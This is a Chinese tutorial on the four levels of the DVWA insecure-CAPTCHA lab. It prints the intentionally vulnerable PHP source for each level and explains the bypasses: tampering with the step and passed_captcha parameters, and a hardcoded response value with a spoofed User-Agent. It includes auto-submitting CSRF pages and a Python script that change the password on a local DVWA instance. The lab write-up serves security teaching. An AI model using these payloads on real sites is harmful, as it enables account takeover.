总结了dvwa中关于不安全的验证码的关卡

Low

代码如下：

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<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] ); 

    // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false; 
        } 
    } 
} 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false; 
    } 

    mysql_close(); 
} 

?>

代码很长，但是我们并不需要所有的代码，关键代码在于服务器的两个执行流程，首先会使用Google提供reCAPTCHA服务，这个服务会产生一个验证码(PS:访问到这个验证码需要翻墙，这里没有翻墙，所以显示不出验证码，但不影响我们的测试)，待用户输入验证码之后调用一个recaptcha_check_answer函数检查用户输入的正确性，该函数具体语法如下：

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key，$remoteip是用户的ip，$challenge是recaptcha_challenge_field字段的值，来自前端页面 ，$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例，ReCaptchaResponse类有2个属性 ：$is_valid是布尔型的，表示校验是否有效，$error是返回的错误代码。

若校验成功，服务器会返回一个修改密码的表单，待用户修改密码

那么就有个疑问，是不是一定要通过输入正确的验证码才能修改得了密码呢，服务器的意思虽然是这样，但是我们仔细观察源代码，发现了一个很关键的参数$_POST[‘step’]，服务器只是根据这个参数的值来分别执行校验和修改密码的两个流程，说到这里，就很明白了，我们只需要修改step的值为2，就能轻松的跳过校验过程，所以说这个验证码是不安全的，或者说这是一个不安全的校验过程

我们利用burp抓包修改step值

成功修改密码为admin

还可以利用CSRF攻击的原理诱骗受害者访问一个攻击页面，攻击页面伪造请求给服务器修改密码

攻击页面代码如下：

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<!DOCTYPE html>
<html>
<head>
	<title>test</title>
</head>
<body onload="document.getElementById('transfer').submit()">

<form id='transfer' method='post' action="http://127.0.0.1/dvwa/vulnerabilities/captcha/">
	<input type='hidden' name='step' value='2'>
	<input type='hidden' name='password_new' value='password'>
	<input type='hidden' name='password_conf' value='password'>
	<input type='hidden' name='Change' value='Change'>
</form>

</body>
</html>

受害者访问攻击页面，最终跳转到修改密码成功的页面，缺点就是会被受害者察觉到密码被修改了

Medium

代码如下：

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<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] ); 

    // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false; 
        } 
    } 
} 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check to see if they did stage 1 
    if( !$_POST[ 'passed_captcha' ] ) { 
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>"; 
        $hide_form = false; 
        return; 
    } 

    // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false; 
    } 

    mysql_close(); 
} 

?>

相较于上一关，这里多了一个对passed_captcha参数的验证，这个参数是通过用户输入正确的验证码后自动提交的一个参数，当然我们也可以利用burp自己构造

老规矩先抓包

修改step参数，并且增加passed_captcha参数

修改密码成功

同样的我们依然可以伪造CSRF攻击页面，代码如下：

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<!DOCTYPE html>
<html>
<head>
	<title>attack-medium</title>
</head>
<body>

<form id='transfer' method='post' action='http://127.0.0.1/dvwa/vulnerabilities/captcha/'>
	<input type='hidden' name='password_new' value='password'>
	<input type='hidden' name='password_conf' value='password'>
	<input type='hidden' name='passed_captcha' value='true'>
	<input type='hidden' name='step' value='2'>
	<input type='hidden' name='Change' value='Change'>
</form>

<script type="text/javascript">
	var test=document.getElementById('transfer');
	test.submit();
</script>

</body>
</html>

High

代码如下：

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<?php

if( isset( $_POST[ 'Change' ] ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key' ],
		$_POST['g-recaptcha-response']
	);

	if (
		$resp || 
		(
			$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
			&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
		)
	){
		// CAPTCHA was correct. Do both new passwords match?
		if ($pass_new == $pass_conf) {
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for user
			$html .= "<pre>Password Changed.</pre>";

		} else {
			// Ops. Password mismatch
			$html     .= "<pre>Both passwords must match.</pre>";
			$hide_form = false;
		}

	} else {
		// What happens when the CAPTCHA was entered incorrectly
		$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
		$hide_form = false;
		return;
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这关没有了对step参数的检测，关键检测点在于语句：

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if (
	$resp || 
	(
		$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
		&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
	)
)

如果这个if语句执行不了，那么就验证失败，无法修改密码，所以我们必须让这个if语句执行，也就是里面的逻辑语句为真，而里面的逻辑语句是由两个逻辑语句通过 || 拼接成的，所以我们只需要让其中一个逻辑语句为真，条件就可以成立，再看里面检测的参数，$resp参数明显是我们不可控的，所以我们只要将重点放在参数g-recaptcha-response和参数HTTP_USER_AGENT上面就行了，要让if语句执行，就控制参数g-recaptcha-response值为hidd3n_valu3，请求头的user_agent为reCAPTCHA

依然是抓包

然后修改参数g-recaptcha-response和参数HTTP_USER_AGENT

修改成功

由于无法用javascript代码修改user_agent参数，所以无法用CSRF原理攻击

最后附上本关修改密码的python脚本

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import requests

url="http://127.0.0.1/dvwa/vulnerabilities/captcha/"
header={
    'Host': '127.0.0.1',
    'Content-Length': '103',
    'Cache-Control': 'max-age=0',
    'Origin': 'http://127.0.0.1',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'reCAPTCHA',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/captcha/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'security=high; PHPSESSID=842n4cnel00gbrkd5mi9fk98f6',
    'Connection': 'close'
    }
data={
    'password_new':'password',
    'password_conf':'password',
    'g-recaptcha-response':'hidd3n_valu3',
    'Change':'Change'
    }
r=requests.post(url,headers=header,data=data)
if('Password Changed.') in r.text:
    print('Password Changed.')

Impossible

代码如下：

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<?php

if( isset( $_POST[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_new  = stripslashes( $pass_new ); 
    $pass_new  = mysql_real_escape_string( $pass_new ); 
    $pass_new  = md5( $pass_new ); 

    $pass_conf = $_POST[ 'password_conf' ]; 
    $pass_conf = stripslashes( $pass_conf ); 
    $pass_conf = mysql_real_escape_string( $pass_conf ); 
    $pass_conf = md5( $pass_conf ); 

    $pass_curr = $_POST[ 'password_current' ]; 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

    // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] ); 

    // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // Check that the current password is correct 
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
        $data->execute(); 

        // Do both new password match and was the current password correct? 
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { 
            // Update the database 
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
            $data->execute(); 

            // Feedback for the end user - success! 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Feedback for the end user - failed! 
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; 
            $hide_form = false; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

可以看出服务器采用了token认证机制，还采用了PDO防止SQL注入，更主要的是对于校验验证码的过程只检测了我们不可控的参数$resp->is_valid，可谓是非常完美的防御了各种漏洞。用户还必须输入当前的密码，更加完善了安全性